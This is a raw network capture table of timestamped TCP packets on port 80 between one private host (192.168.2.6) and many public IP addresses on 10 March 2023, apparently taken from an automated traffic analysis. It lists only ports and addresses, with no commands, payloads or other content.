Mar 10, 2023 07:54:41.362205029 CET	80	49843	54.161.222.85	192.168.2.6
Mar 10, 2023 07:54:41.362341881 CET	49843	80	192.168.2.6	54.161.222.85
Mar 10, 2023 07:54:41.406063080 CET	49843	80	192.168.2.6	54.161.222.85
Mar 10, 2023 07:54:41.443063021 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.443097115 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.443115950 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.443134069 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.443264008 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.443305969 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.443329096 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.443371058 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.443465948 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.443500042 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.443511009 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.443537951 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.443615913 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.443640947 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.443662882 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.443681002 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.444303036 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.444380045 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.444413900 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.444434881 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.444453955 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.444458008 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.444470882 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.444495916 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.445074081 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.445107937 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.445132971 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.445156097 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.445166111 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.445184946 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.445219040 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.445904970 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.445933104 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.445952892 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.445971012 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.446008921 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.446039915 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.446681976 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.446727991 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.446760893 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.446856976 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.446856976 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.550230980 CET	80	49843	54.161.222.85	192.168.2.6
Mar 10, 2023 07:54:41.557323933 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.557352066 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.557372093 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.557394981 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.557565928 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.557617903 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.557698011 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.557720900 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.557733059 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.557786942 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.558280945 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.558315039 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.558334112 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.558352947 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.558368921 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.558413029 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.559046030 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.559071064 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.559091091 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.559134007 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.559165001 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.559581041 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.559673071 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.559737921 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.559760094 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.559779882 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.559799910 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.559838057 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.560432911 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.560477018 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.560497046 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.560516119 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.560563087 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.560595989 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.560630083 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.561248064 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.561271906 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.561291933 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.561311960 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.561321020 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.561321020 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.561351061 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.561371088 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.561804056 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:41.561867952 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:41.561997890 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.562019110 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.562037945 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.562052965 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.562068939 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.562079906 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.562079906 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.562128067 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.562782049 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.562809944 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.562829018 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.562844992 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.562848091 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.562870026 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.562870026 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.562882900 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.563574076 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.563601017 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.563618898 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.563637972 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.563668013 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.563668013 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.563713074 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.564382076 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.564418077 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.564443111 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.564464092 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.564466953 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.564464092 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.564491987 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.564511061 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.565196037 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.565237999 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.565263033 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.565265894 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.565280914 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.565294981 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.565318108 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.565342903 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.566323042 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.566395044 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.607147932 CET	49844	80	192.168.2.6	172.67.165.62
Mar 10, 2023 07:54:41.607287884 CET	49845	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:41.623929024 CET	80	49844	172.67.165.62	192.168.2.6
Mar 10, 2023 07:54:41.624039888 CET	49844	80	192.168.2.6	172.67.165.62
Mar 10, 2023 07:54:41.639561892 CET	80	49845	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:41.639693975 CET	49845	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:41.657046080 CET	49844	80	192.168.2.6	172.67.165.62
Mar 10, 2023 07:54:41.657500029 CET	49845	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:41.673794031 CET	80	49844	172.67.165.62	192.168.2.6
Mar 10, 2023 07:54:41.677205086 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.677242994 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.677265882 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.677289009 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.677314043 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.677473068 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.677512884 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.677665949 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.677691936 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.677714109 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.677721024 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.677737951 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.677758932 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.677761078 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.677802086 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.678574085 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.678605080 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.678627014 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.678647041 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.678647995 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.678673029 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.678702116 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.678725958 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.679476023 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.679510117 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.679532051 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.679552078 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.679554939 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.679579973 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.679579973 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.679626942 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.680413008 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.680447102 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.680469036 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.680489063 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.680491924 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.680516958 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.680535078 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.680572033 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.681385040 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.681416988 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.681437969 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.681457043 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.681457043 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.681473970 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.681499004 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.681531906 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.689501047 CET	80	49845	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:41.689537048 CET	80	49845	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:41.689615965 CET	49845	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:41.731584072 CET	80	49844	172.67.165.62	192.168.2.6
Mar 10, 2023 07:54:41.731622934 CET	80	49844	172.67.165.62	192.168.2.6
Mar 10, 2023 07:54:41.731641054 CET	80	49844	172.67.165.62	192.168.2.6
Mar 10, 2023 07:54:41.731697083 CET	49844	80	192.168.2.6	172.67.165.62
Mar 10, 2023 07:54:41.731743097 CET	49844	80	192.168.2.6	172.67.165.62
Mar 10, 2023 07:54:41.785917044 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:41.786046982 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:41.804060936 CET	49845	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:41.813899994 CET	80	49827	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:41.813985109 CET	49827	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:41.836338997 CET	80	49845	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:41.836380005 CET	80	49845	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:41.836489916 CET	49845	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:41.846436024 CET	49846	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:41.870075941 CET	80	49846	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:41.870165110 CET	49846	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:41.935574055 CET	49847	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:54:41.936866045 CET	49846	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:41.942306995 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:41.960602045 CET	80	49846	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:41.961801052 CET	80	49846	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:41.961908102 CET	49846	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:42.042959929 CET	49849	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:42.063590050 CET	80	49847	72.44.93.236	192.168.2.6
Mar 10, 2023 07:54:42.063730955 CET	49847	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:54:42.068269014 CET	49847	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:54:42.069042921 CET	49850	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:42.119477034 CET	80	49850	195.78.66.50	192.168.2.6
Mar 10, 2023 07:54:42.119617939 CET	49850	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:42.137770891 CET	49850	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:42.138552904 CET	49851	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:42.157382011 CET	80	49851	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:42.157505989 CET	49851	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:42.159928083 CET	80	49849	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:42.160115957 CET	49849	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:42.161217928 CET	49849	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:42.161262989 CET	49851	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:42.165296078 CET	49852	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:42.181355953 CET	80	49851	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:42.187407017 CET	80	49850	195.78.66.50	192.168.2.6
Mar 10, 2023 07:54:42.196804047 CET	80	49850	195.78.66.50	192.168.2.6
Mar 10, 2023 07:54:42.196870089 CET	80	49847	72.44.93.236	192.168.2.6
Mar 10, 2023 07:54:42.196996927 CET	49850	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:42.198231936 CET	80	49847	72.44.93.236	192.168.2.6
Mar 10, 2023 07:54:42.198354006 CET	49847	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:54:42.279484034 CET	80	49849	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:42.281059027 CET	80	49849	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:42.281203985 CET	49849	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:42.332427979 CET	80	49852	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:42.332648039 CET	49852	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:42.340257883 CET	80	49851	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:42.340385914 CET	49851	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:42.366472960 CET	49852	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:42.368083000 CET	49849	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:42.369385958 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:42.396332979 CET	49851	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:42.415302038 CET	80	49851	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:42.450130939 CET	49794	80	192.168.2.6	96.91.204.114
Mar 10, 2023 07:54:42.487740040 CET	80	49849	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:42.487818003 CET	49849	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:42.487879038 CET	49854	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:42.506865978 CET	80	49851	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:42.506942987 CET	49851	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:42.532088995 CET	80	49852	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:42.533021927 CET	80	49852	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:42.533164978 CET	49852	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:42.533651114 CET	80	49852	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:42.533767939 CET	49852	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:42.537827969 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:42.537867069 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:42.537894011 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:42.537920952 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:42.537945986 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:42.538098097 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:42.538142920 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:42.538239002 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:42.589373112 CET	80	49854	165.227.252.190	192.168.2.6
Mar 10, 2023 07:54:42.589518070 CET	49854	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:42.601370096 CET	49852	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:42.632818937 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:42.632916927 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:42.674315929 CET	49854	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:42.675765038 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:42.684562922 CET	49855	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:42.713274956 CET	49856	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:42.738842964 CET	49831	80	192.168.2.6	193.166.255.171
Mar 10, 2023 07:54:42.768675089 CET	80	49852	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:42.774831057 CET	80	49854	165.227.252.190	192.168.2.6
Mar 10, 2023 07:54:42.775340080 CET	80	49854	165.227.252.190	192.168.2.6
Mar 10, 2023 07:54:42.775495052 CET	49854	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:42.818845987 CET	80	49812	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:42.818978071 CET	49812	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:42.834068060 CET	80	49855	104.196.26.65	192.168.2.6
Mar 10, 2023 07:54:42.834240913 CET	49855	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:42.884713888 CET	80	49856	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:42.884932041 CET	49856	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:42.942639112 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:42.942785978 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:42.942796946 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:42.942856073 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:42.942873001 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:42.942904949 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:42.942912102 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:42.942975044 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.205219984 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.205265045 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.205297947 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.205329895 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.205360889 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.205358028 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.205391884 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.205394030 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.205414057 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.205425978 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.205431938 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.205456972 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.205466986 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.205497026 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.298290968 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:43.298341036 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:43.298371077 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:43.298398018 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:43.298418045 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:43.298526049 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:43.298566103 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:43.467792988 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.467837095 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.467864990 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.467886925 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.467910051 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.467940092 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.467962027 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.467967987 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.467983007 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.468004942 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.468014002 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.468027115 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.468050003 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.468061924 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.468070984 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.468085051 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.468094110 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.468116045 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.468120098 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.468138933 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.468151093 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.468161106 CET	80	49853	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:43.468184948 CET	49853	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:43.468213081 CET	49853	80	192.168.2.6	154.203.14.100
